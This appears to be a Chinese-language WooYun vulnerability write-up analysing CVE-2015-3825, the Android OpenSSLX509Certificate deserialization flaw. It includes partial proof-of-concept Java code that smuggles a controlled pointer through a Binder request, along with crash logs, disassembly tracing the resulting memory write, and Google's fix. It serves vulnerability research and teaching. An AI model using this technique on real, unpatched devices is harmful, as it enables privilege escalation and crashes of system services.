16

OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析 | WooYun知识库

 7 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析

[email protected]

0x00 序


序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。

0x01 漏洞成因


这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。

2.1 PoC构造

Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在OpenSSLX509Certificate(全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:

1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类;
2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型);
3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);

其中mContext就是要找的可被攻击控制的指针。

我对CVE-2014-7911的POC进行了改造,首先定义类com.android.org.conscrypt.ApenSSLX509Certificate,如下:

#!java
public class ApenSSLX509Certificate implements Serializable {
    //private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
    private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
    public final long mContext;
    ApenSSLX509Certificate(long ctx) {
        mContext = ctx;
    }
}

注意包名为com.android.org.conscrypt,然后在同包名下创建一个MainActivity.java,对ApenSSLX509Certificate进行调用:

#!java
com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);

和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名:

#!java
int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
    }
}

类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android 4.4.2的AVD中,安装、运行PoC,我们看到:

E/CVE-2014-7911-trace(1669): setApplicationRestrictions
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)
at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)
at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)
W/System.err(1669):     at android.os.Binder.execTransact(Binder.java:404)
W/System.err(1669):     at dalvik.system.NativeStart.run(Native Method)
E/UserManagerService(1669): Error writing application restrictions list

也是强制类型转换导致异常,与CVE-2014-7911的强制转换为java.io.Serializable导致的异常不同,因为传入的object本身不是序列化的对象,致使类型转换失败。CVE-2015-3825是将com.android.org.conscrypt.OpenSSLX509Certificate强制转换为java.lang.String[]而产生的异常。

验证PoC过程中,在Android 4.4.2 AVD,只触发了“Error writing application restrictions list”异常,但是GC资源回收没被触发。

在Android 5.1.1 AVD,可以通过重复发送n次的“TRANSACTION_setApplicationRestrictions”请求可以触发GC回收资源,最后导致system_server的crash:

A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)
I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'
I/DEBUG(61): Revision: '0'
I/DEBUG(61): ABI: 'arm'
I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon  >>> system_server <<<
I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f
I/DEBUG(61):     r0 00000000  r1 0000000c  r2 00000000  r3 00000000
I/DEBUG(61):     r4 b6c9766f  r5 00000003  r6 ffffffff  r7 7f7f7f8f
I/DEBUG(61):     r8 00000075  r9 b6c24ac9  sl a78fbaa4  fp 13068980
I/DEBUG(61):     ip 00000001  sp a78fba58  lr b6c3da1d  pc b6c3da1c  cpsr 60000030
I/DEBUG(61): backtrace:
I/DEBUG(61):     #00 pc 00072a1c  /system/lib/libcrypto.so (CRYPTO_add_lock+59)
I/DEBUG(61):     #01 pc 000579b1  /system/lib/libcrypto.so (asn1_do_lock+68)
I/DEBUG(61):     #02 pc 0005646f  /system/lib/libcrypto.so
09-06 20:31:31.394: I/DEBUG(61):     #03 pc 00056415  /system/lib/libcrypto.so (ASN1_item_free+12)
09-06 20:31:31.395: I/DEBUG(61):     #04 pc 00017c0d  [email protected]@boot.oat
09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms
09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01

2.2 异常分析

这里基于Android 5.1.1 AVD上的分析。

上面说到,“TRANSACTION_setApplicationRestrictions”请求发出后,导致一个异常,然后GC回收资源。

从源代码分析,GC调用OpenSSLX509Certificate. finalize():

@Override
protected void finalize() throws Throwable {
    try {
        if (mContext != 0) {
            NativeCrypto.X509_free(mContext);
        }
    } finally {
        super.finalize();
    }
}

然后调用NativeCrypto.X509_free()方法,该方法在NativeCrypto.java定义如下:

public static native void X509_free(long x509ctx);

最终是在libjavacrypto.so中实现的,该函数定义在org_conscrypt_NativeCrypto.cpp文件中:

static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
    X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
    JNI_TRACE("X509_free(%p)", x509);
    if (x509 == NULL) {
        jniThrowNullPointerException(env, "x509 == null");
        JNI_TRACE("X509_free(%p) => x509 == null", x509);
        return;
    }
    X509_free(x509);
}

NativeCrypto_X509_free函数最后调用的X509_free是OpenSSL库提供的接口,关于如何找到该函数实现请参考附录一。

根据上面分析得到信息,在动态调试时,我们在libjavacrypto.so:: NativeCrypto_X509_free函数中下断,

.text:00008C1C sub_8C1C                                ; DATA XREF: .data:000175ACo
.text:00008C1C                 CBNZ            R2, loc_8C26
.text:00008C1E                 LDR             R1, =(aX509Null - 0x8C24)
.text:00008C20                 ADD             R1, PC  ; "x509 == null"
.text:00008C22                 B.W             j_j_j_jniThrowNullPointerException
.text:00008C26
.text:00008C26 loc_8C26                                ; CODE XREF: sub_8C1Cj
.text:00008C26                 MOV             R0, R2
.text:00008C28                 B.W             j_j_X509_free
.text:00008C28 ; End of function sub_8C1C

下断点后,有时会碰到单步执行异常,笔者使用的一个办法供参考:设置该lib库的所有内存节属性为可写的。

在j_j_X509_free中单步步入,到libcrypto.so: ASN1_item_free函数,

.text:00056408                 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free                          ; CODE XREF: j_ASN1_item_free+8j
.text:00056408                                         ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C           = -0xC
.text:00056408
.text:00056408                 PUSH.W          {R11,LR}
.text:0005640C                 SUB             SP, SP, #8
.text:0005640E                 STR             R0, [SP,#0x10+var_C]
.text:00056410                 ADD             R0, SP, #0x10+var_C
.text:00056412                 MOVS            R2, #0
.text:00056414                 BL              sub_56420 
.text:00056418                 ADD             SP, SP, #8
.text:0005641A                 POP.W           {R11,PC}
.text:0005641A ; End of function ASN1_item_free

sub_56420即为asn1_item_combine_free函数,定义为:

static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)

我们继续分析这个函数,

.text:00056420 sub_56420                               ; CODE XREF: ASN1_item_free+Cp
.text:00056420                                         ; ASN1_item_ex_free+2j ...
.text:00056420                 PUSH.W          {R4-R10,LR}
.text:00056424                 MOV             R10, R0 ; R0: pval, &mContext;
.text:00056426                 MOV             R8, R2  ; R1: combine, int;
.text:00056428                 MOV             R5, R1  ; R1: it, ASN1_ITEM;
.text:00056428                                         ; libcrypto.so:X509_NAME_TYPE_it
.text:0005642A                 CMP.W           R10, #0 ; if (!pval) return;
.text:0005642E                 BEQ.W           def_5645A ; jumptable 0005645A default case
.text:00056432                 LDRB            R1, [R5] ; R1 <- it->itype;
.text:00056434                 LDR             R0, [R5,#0x10] ; R0 <- aux = it->funcs;
.text:00056436                 CBZ             R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0
.text:00056438                 LDR.W           R2, [R10] ; !*pval
.text:0005643C                 CMP             R2, #0
.text:0005643E                 BEQ.W           def_5645A ; jumptable 0005645A default case

如分号后的备注所写,这段代码将初始相关变量:将&mContext存入R10,combine存入R2,it存入R5,然后验证参数的合法性。代码继续,获取aux->asn1_cb存入R9中:

.text:00056442 loc_56442                               ; CODE XREF: sub_56420+16j
.text:00056442                 CMP             R0, #0
.text:00056444                 ITT NE
.text:00056446                 LDRNE.W         R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A                 CMPNE.W         R9, #0
.text:0005644E                 BNE             loc_56454 ; switch(it->itype)
.text:00056450                 MOV.W           R9, #0

继续,接下来调用asn1_do_lock函数:

.text:00056466                 MOV             R0, R10 ; jumptable 0005645A cases 1,6
.text:00056468                 MOV.W           R1, #0xFFFFFFFF ; 传入-1
.text:0005646C                 MOV             R2, R5  ; it
.text:0005646E                 BLX             j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)
.text:0005646E                                         ; 走到这了,crash在这个函数
.text:00056472                 CMP             R0, #0  
.text:00056474                 BGT             def_5645A ; jumptable 0005645A default case

此时整理asn1_do_lock函数调用时参数:R0是上面R10存储的&mContext,R1为-1,R2为上面R5存储的it。下面进入asn1_do_lock函数继续分析,取出it->funcs放入R2:

.text:00057984                 LDR             R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986                 CMP             R2, #0

再取it->funcs即aux的ref_offset放入R3中,然后计算(char*)mContext+aux->ref_offset的存入R12:

.text:00057992                 LDR             R3, [R2,#8] ; aux->ref_offset
.text:00057994                 CMP             R1, #0
.text:00057996                 LDR             R0, [R0] ; R0 = &mContext
.text:00057998                 ADD.W           R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C                 BEQ             loc_579B6

接下来是调用CRYPTO_add_lock函数:

.text:000579A2                 MOVS            R0, #0x75
.text:000579A4                 LDR             R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6                 ADD             LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8                 LDR             R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA                 ADD             R3, LR  ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC                 STR             R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE                 MOV             R0, R12
.text:000579B0                 BLX             j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)

进一步分析CRYPTO_add_lock函数,读取R7地址的内容再加R1(R1=-1,这里也就是减1操作),然后再存入R1地址中:

.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
.text:000729E0                 EXPORT CRYPTO_add_lock
.text:000729E0 CRYPTO_add_lock                         ; CODE XREF: j_CRYPTO_add_lock+8j
.text:000729E4                 MOV             R7, R0  ; R7 = (char*)mContext+aux->ref_offset
... ...
.text:000729E8                 MOV             R6, R1  ; R1 = -1
… …
.text:00072A1C                 LDR             R0, [R7] ; Crash在这,此时R7为0x7F7F7F8F
.text:00072A24                 ADD             R6, R0
… …
.text:00072A28                 STR             R6, [R7] ; 如果R7指向的内存为写的,这里可以实现任意写

调试时aux->ref_offset的值为0x10,参考x509_st结构,我们猜测(char*)mContext+0x10为mContext-> references,用记录对象引用次数,管理内存的引用。再看源码tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法:

case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
    return;
if (asn1_cb)
    {
    i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
    if (i == 2)
        return;
    }

当asn1_do_lock返回为0,即mContext-> references为0时,才调用asn1_cb函数释放资源。

继续CRYPTO_add_lock的反汇编代码分析,由于我们在Java层传入的是一个非法地址0x7f7f7f7f,所以导到内存写异常。

Google的修复方法【2】是给mContext成员添加transient修饰符,使其不被序列化。

0x03 总结


在对象序列化时,指针成员的序列化较易存在安全风险,如CVE-2014-7911中的mOrgue,CVE-2015-3825中的mContext。本漏洞(CVE-2015-3825)中由于mContext是可序列化的,而它指向的又是X509结构的指针,当传入的序列化对象在反序列化产生异常时,系统调用GC回收资源,即mContext->references减1,这里mContext是可控制的,便可导致有限制的内存任意写(多次减1)漏洞。

0x04 参考


【1】 https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
【2】 https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
【3】 https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
【4】 https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c

0x05 附录


5.1 如何找到那个叫X509_free的函数

在OpenSSL代码中怎么搜X509_free也搜索不到真正的代码实现,这是因为OpenSSL中用了一堆宏、宏嵌套定义部分函数、结构,X509_free就在其中一个。细细看代码才发现X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定义的:

IMPLEMENT_ASN1_FUNCTIONS(X509)

顺藤摸瓜找出下面几个嵌套的宏:

# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)    

# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
        stname *fname##_new(void) \
        { \
                return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
        } \
        void fname##_free(stname *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
        }
    #define ASN1_ITEM_rptr(ref) (&(ref##_it))

映射到X509的定义,可以翻译如下:

X509 * X509_new(void) \
        { \
                return (X509 *)ASN1_item_new(&X509_it); \
        } \
        void X509_free(X509 *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
        }


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK